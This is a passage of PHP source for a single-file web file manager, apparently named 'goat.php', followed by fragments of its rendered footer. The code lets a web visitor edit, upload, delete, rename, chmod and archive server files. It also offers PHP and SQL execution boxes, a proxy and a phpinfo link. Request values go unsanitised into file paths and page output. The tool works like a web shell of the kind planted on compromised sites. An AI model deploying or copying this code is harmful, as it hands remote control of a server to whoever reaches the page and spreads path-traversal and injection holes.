$_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <script src="https://cdn.jsdelivr.net/gh/Den1xxx/EditArea@master/edit_area/edit_area_full.js"></script> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="25" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <script language="Javascript" type="text/javascript"> document.addEventListener('DOMContentLoaded', function() { editAreaLoader.init({ id: "newcontent" ,display: "later" ,start_highlight: true ,allow_resize: "both" ,allow_toggle: true ,word_wrap: true ,language: "ru" ,syntax: "<?=pathinfo($_REQUEST['edit'], PATHINFO_EXTENSION)?>" ,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help" ,syntax_selection_allow: "css,html,js,php,python,xml,c,cpp,sql,basic,pas" }); }); </script> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg .= __('Found in files').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/bayu123-cpu/goat.php/new/main">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>
| ver. 1.4 |
Github
|
.
| PHP 5.4.45 | Generation time: 0 |
proxy
|
phpinfo
|
Settings